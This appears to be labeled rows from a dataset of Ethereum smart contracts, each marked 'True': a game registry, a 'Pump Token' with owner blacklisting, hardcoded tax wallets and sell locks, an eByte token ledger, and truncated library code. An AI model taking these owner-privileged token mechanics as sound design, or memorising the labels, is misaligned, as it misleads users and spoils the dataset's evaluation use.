// @author Dragon Foundry (https://www.nvt.gg)
// (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source.
contract NovaGame is NovaGameAccess {
struct GameData {
string json;
uint tradeLockSeconds;
bytes32[] metadata;
}
event GameCreated(uint indexed game, address indexed owner, string json, bytes32[] metadata);
event GameMetadataUpdated(
uint indexed game,
string json,
uint tradeLockSeconds,
bytes32[] metadata
);
mapping(uint => GameData) internal gameData;
constructor(address _stakingContract)
public
NovaGameAccess(_stakingContract)
{
games.push(2**32);
}
// @dev Create a new game by setting its data.
// Created games are initially owned and managed by the game's creator
// @notice - there's a maximum of 2^32 games (4.29 billion games)
// @param _json - a json encoded string containing the game's name, uri, logo, description, etc
// @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser's account
// @param _metadata - game-specific metadata, in bytes32 format.
function createGame(string _json, uint _tradeLockSeconds, bytes32[] _metadata)
external
returns(uint _game) {
// Create the game
_game = games.length;
require(_game < games[0], "too many games created");
games.push(_game);
// Log the game as created
emit GameCreated(_game, msg.sender, _json, _metadata);
// Add the creator as the first game admin
_addAdminAccount(_game, msg.sender);
// Store the game's metadata
updateGameMetadata(_game, _json, _tradeLockSeconds, _metadata);
}
// @dev Gets the number of games in the system
// @returns the number of games stored in the system
function numberOfGames()
external
view
returns(uint) {
return games.length;
}
// @dev Get all game data for one given game
// @param _game - the # of the game
// @returns game - the game ID of the requested game
// @returns json - the json data of the game
// @returns tradeLockSeconds - the number of card sets
// @returns balance - the Nova Token balance
// @returns metadata - a bytes32 array of metadata used by the game
function getGameData(uint _game)
external
view
returns(uint game,
string json,
uint tradeLockSeconds,
uint256 balance,
bytes32[] metadata)
{
GameData storage data = gameData[_game];
game = _game;
json = data.json;
tradeLockSeconds = data.tradeLockSeconds;
balance = stakingContract.balanceOf(address(_game));
metadata = data.metadata;
}
// @dev Update the json, trade lock, and metadata for a single game
// @param _game - the # of the game
// @param _json - a json encoded string containing the game's name, uri, logo, description, etc
// @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser's account
// @param _metadata - game-specific metadata, in bytes32 format.
function updateGameMetadata(uint _game, string _json, uint _tradeLockSeconds, bytes32[] _metadata)
public
onlyGameAdmin(_game)
{
gameData[_game].tradeLockSeconds = _tradeLockSeconds;
gameData[_game].json = _json;
bytes32[] storage data = gameData[_game].metadata;
if (_metadata.length > data.length) { data.length = _metadata.length; }
for (uint k = 0; k < _metadata.length; k++) { data[k] = _metadata[k]; }
for (k; k < data.length; k++) { delete data[k]; }
if (_metadata.length < data.length) { data.length = _metadata.length; }
emit GameMetadataUpdated(_game, _json, _tradeLockSeconds, _metadata);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-29
*/
/*
Built and deployed using FTP Deployer, a service of Fair Token Project.
Deploy your own token today at https://app.fairtokenproject.com#deploy
Pump Token Socials:
Telegram: https://t.me/PumpToken2Pump
Twitter: https://twitter.com/Pumptoken2Pump
Website: http://pumptoken.quest
** Secured With FTP Antibot **
Fair Token Project is not responsible for the actions of users of this service.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
function transferOwnership(address _address) public virtual onlyOwner {
emit OwnershipTransferred(m_Owner, _address);
m_Owner = _address;
}
modifier onlyOwner() {
require(_msgSender() == m_Owner, "Ownable: caller is not the owner");
_;
}
}
contract Taxable is Ownable {
using SafeMath for uint256;
FTPExternal External;
address payable private m_ExternalServiceAddress = payable(0x4f53cDEC355E42B3A68bAadD26606b7F82fDb0f7);
address payable private m_DevAddress;
uint256 private m_DevAlloc = 1000;
address internal m_WebThree = 0x1011f61Df0E2Ad67e269f4108098c79e71868E00;
uint256[] m_TaxAlloc;
address payable[] m_TaxAddresses;
mapping (address => uint256) private m_TaxIdx;
uint256 public m_TotalAlloc;
uint256 m_TotalAddresses;
bool private m_DidDeploy = false;
function initTax() internal virtual {
External = FTPExternal(m_ExternalServiceAddress);
m_DevAddress = payable(address(External));
m_TaxAlloc = new uint24[](0);
m_TaxAddresses = new address payable[](0);
m_TaxAlloc.push(0);
m_TaxAddresses.push(payable(address(0)));
setTaxAlloc(m_DevAddress, m_DevAlloc);
setTaxAlloc(payable(0xa10D31D586FFFBb28184d501691aa40B33153292), 5000);
m_DidDeploy = true;
}
function payTaxes(uint256 _eth, uint256 _d) internal virtual {
for (uint i = 1; i < m_TaxAlloc.length; i++) {
uint256 _alloc = m_TaxAlloc[i];
address payable _address = m_TaxAddresses[i];
uint256 _amount = _eth.mul(_alloc).div(_d);
if (_amount > 1){
_address.transfer(_amount);
if(_address == m_DevAddress)
External.deposit(_amount);
}
}
}
function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() {
require(_alloc >= 0, "Allocation must be at least 0");
if(m_TotalAddresses > 11)
require(_alloc == 0, "Max wallet count reached");
if (m_DidDeploy) {
if (_address == m_DevAddress) {
require(_msgSender() == m_WebThree);
}
}
uint _idx = m_TaxIdx[_address];
if (_idx == 0) {
require(m_TotalAlloc.add(_alloc) <= 6500);
m_TaxAlloc.push(_alloc);
m_TaxAddresses.push(_address);
m_TaxIdx[_address] = m_TaxAlloc.length - 1;
m_TotalAlloc = m_TotalAlloc.add(_alloc);
} else { // update alloc for this address
uint256 _priorAlloc = m_TaxAlloc[_idx];
require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 6500);
m_TaxAlloc[_idx] = _alloc;
m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc);
if(_alloc == 0)
m_TotalAddresses = m_TotalAddresses.sub(1);
}
if(_alloc > 0)
m_TotalAddresses += 1;
}
function totalTaxAlloc() internal virtual view returns (uint256) {
return m_TotalAlloc;
}
function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) {
uint _idx = m_TaxIdx[_address];
return m_TaxAlloc[_idx];
}
function updateDevWallet(address payable _address, uint256 _alloc) public virtual onlyOwner() {
setTaxAlloc(m_DevAddress, 0);
m_DevAddress = _address;
m_DevAlloc = _alloc;
setTaxAlloc(m_DevAddress, m_DevAlloc);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPLiqLock {
function lockTokens(address _uniPair, uint256 _epoch, address _tokenPayout) external;
}
interface FTPAntiBot {
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender, address _origin) external;
}
interface FTPExternal {
function owner() external returns(address);
function deposit(uint256 _amount) external;
}
contract PumpToken is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 100000000000 * 10**9;
string private m_Name = "Pump Token";
string private m_Symbol = "PUMP";
uint8 private m_Decimals = 9;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(100);
bool private m_Liquidity = false;
event NewTaxAlloc(address Address, uint256 Allocation);
event SetTxLimit(uint TxLimit);
// ANTIBOT
FTPAntiBot private AntiBot;
address private m_AntibotSvcAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3;
// MISC
address private m_LiqLockSvcAddress = 0x55E2aDaEB2798DDC474311AD98B23d0B62C1EBD8;
mapping (address => bool) private m_Blacklist;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
uint256 private m_Launched = 1753633194;
bool private m_IsSwap = false;
uint256 private pMax = 100000; // max alloc percentage
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
modifier onlyDev() {
require( _msgSender() == External.owner() || _msgSender() == m_WebThree, "Unauthorized");
_;
}
receive() external payable {}
constructor () {
m_UniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
AntiBot = FTPAntiBot(m_AntibotSvcAddress);
initTax();
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _readyToTax(address _sender) private view returns (bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair;
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == m_UniswapV2Pair;
}
function _isTax(address _sender) private view returns (bool) {
return _sender == address(this);
}
function _trader(address _sender, address _recipient) private view returns (bool) {
return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
}
function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns (bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && block.timestamp <= m_Launched.add(1 hours);
}
function _checkTX() private view returns (uint256){
if(block.timestamp <= m_Launched.add(15 minutes))
return TOTAL_SUPPLY.div(200);
else
return TOTAL_SUPPLY;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_amount > 0, "Must transfer greater than 0");
require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]);
if(_isExchangeTransfer(_sender, _recipient) && block.timestamp >= m_Launched) {
require(!AntiBot.scanAddress(_recipient, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
require(!AntiBot.scanAddress(_sender, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
AntiBot.registerBlock(_sender, _recipient, tx.origin);
}
if(_walletCapped(_recipient))
require(balanceOf(_recipient) < m_WalletLimit);
uint256 _taxes = 0;
if (_trader(_sender, _recipient)) {
require(block.timestamp >= m_Launched);
if (_txRestricted(_sender, _recipient)){
require(_amount <= _checkTX());
}
_taxes = _getTaxes(_sender, _recipient, _amount);
_tax(_sender);
}
else {
if(m_Liquidity && !_isBuy(_sender) && !_isTax(_sender)){
require(block.timestamp >= m_Launched.add(7 days), "Dumping discouraged");
}
}
_updateBalances(_sender, _recipient, _amount, _taxes);
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
uint256 _netAmount = _amount.sub(_taxes);
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_taxes);
emit Transfer(_sender, _recipient, _netAmount);
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) {
uint256 _ret = 0;
if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) {
return _ret;
}
_ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc()));
return _ret;
}
function _tax(address _sender) private {
if (_readyToTax(_sender)) {
uint256 _tokenBalance = balanceOf(address(this));
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _getTaxDenominator() private view returns (uint) {
uint _ret = 0;
_ret = _ret.add(totalTaxAlloc());
return _ret;
}
function _disperseEth() private {
uint256 _eth = address(this).balance;
if (_eth <= m_LastEthBal)
return;
uint256 _newEth = _eth.sub(m_LastEthBal);
uint _d = _getTaxDenominator();
if (_d < 1)
return;
payTaxes(_newEth, _d);
m_LastEthBal = address(this).balance;
}
function addLiquidity() external onlyOwner() {
require(!m_Liquidity,"Liquidity already added.");
uint256 _ethBalance = address(this).balance;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(m_UniswapV2Router.factory()).createPair(address(this), m_UniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(this),block.timestamp);
IERC20(m_UniswapV2Pair).approve(m_LiqLockSvcAddress, type(uint).max);
FTPLiqLock(m_LiqLockSvcAddress).lockTokens(m_UniswapV2Pair, block.timestamp.add(30 days), msg.sender);
m_Liquidity = true;
}
function launch(uint256 _timer) external onlyOwner() {
m_Launched = block.timestamp.add(_timer);
}
function checkIfBlacklist(address _address) external view returns (bool) {
return m_Blacklist[_address];
}
function blacklist(address _address) external onlyOwner() {
require(_address != m_UniswapV2Pair, "Can't blacklist Uniswap");
require(_address != address(this), "Can't blacklist contract");
m_Blacklist[_address] = true;
}
function rmBlacklist(address _address) external onlyOwner() {
m_Blacklist[_address] = false;
}
function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() {
setTaxAlloc(_address, _alloc);
if (_alloc > 0)
m_ExcludedAddresses[_address] = true;
else
m_ExcludedAddresses[_address] = false;
emit NewTaxAlloc(_address, _alloc);
}
function addTaxWhitelist(address _address) external onlyOwner() {
m_ExcludedAddresses[_address] = true;
}
function rmTaxWhitelist(address _address) external onlyOwner() {
m_ExcludedAddresses[_address] = false;
}
function setWebThree(address _address) external onlyDev() {
m_WebThree = _address;
}
} | True | [
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// Unattributed material copyright New Alchemy Limited, 2017. All rights reserved.
pragma solidity >=0.4.10;
// from Zeppelin
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
}
// end from Zeppelin
contract Owned {
address public owner;
address newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract Pausable is Owned {
bool public paused;
function pause() onlyOwner {
paused = true;
}
function unpause() onlyOwner {
paused = false;
}
modifier notPaused() {
require(!paused);
_;
}
}
contract Finalizable is Owned {
bool public finalized;
function finalize() onlyOwner {
finalized = true;
}
modifier notFinalized() {
require(!finalized);
_;
}
}
contract IToken {
function transfer(address _to, uint _value) returns (bool);
function balanceOf(address owner) returns(uint);
}
contract TokenReceivable is Owned {
function claimTokens(address _token, address _to) onlyOwner returns (bool) {
IToken token = IToken(_token);
return token.transfer(_to, token.balanceOf(this));
}
}
contract EventDefinitions {
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable {
// Set these appropriately before you deploy
string constant public name = "eByte Token";
uint8 constant public decimals = 8;
string constant public symbol = "EBYTE";
Controller public controller;
string public motd;
event Motd(string message);
// functions below this line are onlyOwner
// set "message of the day"
function setMotd(string _m) onlyOwner {
motd = _m;
Motd(_m);
}
function setController(address _c) onlyOwner notFinalized {
controller = Controller(_c);
}
// functions below this line are public
function balanceOf(address a) constant returns (uint) {
return controller.balanceOf(a);
}
function totalSupply() constant returns (uint) {
return controller.totalSupply();
}
function allowance(address _owner, address _spender) constant returns (uint) {
return controller.allowance(_owner, _spender);
}
function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.transfer(msg.sender, _to, _value)) {
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) {
if (controller.transferFrom(msg.sender, _from, _to, _value)) {
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
// promote safe user behavior
if (controller.approve(msg.sender, _spender, _value)) {
Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.increaseApproval(msg.sender, _spender, _addedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
function burn(uint _amount) notPaused {
controller.burn(msg.sender, _amount);
Transfer(msg.sender, 0x0, _amount);
}
// functions below this line are onlyController
modifier onlyController() {
assert(msg.sender == address(controller));
_;
}
function controllerTransfer(address _from, address _to, uint _value) onlyController {
Transfer(_from, _to, _value);
}
function controllerApprove(address _owner, address _spender, uint _value) onlyController {
Approval(_owner, _spender, _value);
}
}
contract Controller is Owned, Finalizable {
Ledger public ledger;
Token public token;
function Controller() {
}
// functions below this line are onlyOwner
function setToken(address _token) onlyOwner {
token = Token(_token);
}
function setLedger(address _ledger) onlyOwner {
ledger = Ledger(_ledger);
}
modifier onlyToken() {
require(msg.sender == address(token));
_;
}
modifier onlyLedger() {
require(msg.sender == address(ledger));
_;
}
// public functions
function totalSupply() constant returns (uint) {
return ledger.totalSupply();
}
function balanceOf(address _a) constant returns (uint) {
return ledger.balanceOf(_a);
}
function allowance(address _owner, address _spender) constant returns (uint) {
return ledger.allowance(_owner, _spender);
}
// functions below this line are onlyLedger
function ledgerTransfer(address from, address to, uint val) onlyLedger {
token.controllerTransfer(from, to, val);
}
// functions below this line are onlyToken
function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transfer(_from, _to, _value);
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) {
return ledger.transferFrom(_spender, _from, _to, _value);
}
function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) {
return ledger.approve(_owner, _spender, _value);
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) {
return ledger.increaseApproval(_owner, _spender, _addedValue);
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) {
return ledger.decreaseApproval(_owner, _spender, _subtractedValue);
}
function burn(address _owner, uint _amount) onlyToken {
ledger.burn(_owner, _amount);
}
}
contract Ledger is Owned, SafeMath, Finalizable, TokenReceivable {
Controller public controller;
mapping(address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint public totalSupply;
uint public mintingNonce;
bool public mintingStopped;
// functions below this line are onlyOwner
function Ledger() {
}
function setController(address _controller) onlyOwner notFinalized {
controller = Controller(_controller);
}
function stopMinting() onlyOwner {
mintingStopped = true;
}
function multiMint(uint nonce, uint256[] bits) external onlyOwner {
require(!mintingStopped);
if (nonce != mintingNonce) return;
mintingNonce += 1;
uint256 lomask = (1 << 96) - 1;
uint created = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
balanceOf[a] = balanceOf[a] + value;
controller.ledgerTransfer(0, a, value);
created += value;
}
totalSupply += created;
}
// functions below this line are onlyController
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
function transfer(address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
return true;
}
function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) {
if (balanceOf[_from] < _value) return false;
var allowed = allowance[_from][_spender];
if (allowed < _value) return false;
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
allowance[_from][_spender] = safeSub(allowed, _value);
return true;
}
function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) {
// require user to set to zero before resetting to nonzero
if ((_value != 0) && (allowance[_owner][_spender] != 0)) {
return false;
}
allowance[_owner][_spender] = _value;
return true;
}
function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
allowance[_owner][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) {
uint oldValue = allowance[_owner][_spender];
if (_subtractedValue > oldValue) {
allowance[_owner][_spender] = 0;
} else {
allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue);
}
return true;
}
function burn(address _owner, uint _amount) onlyController {
balanceOf[_owner] = safeSub(balanceOf[_owner], _amount);
totalSupply = safeSub(totalSupply, _amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
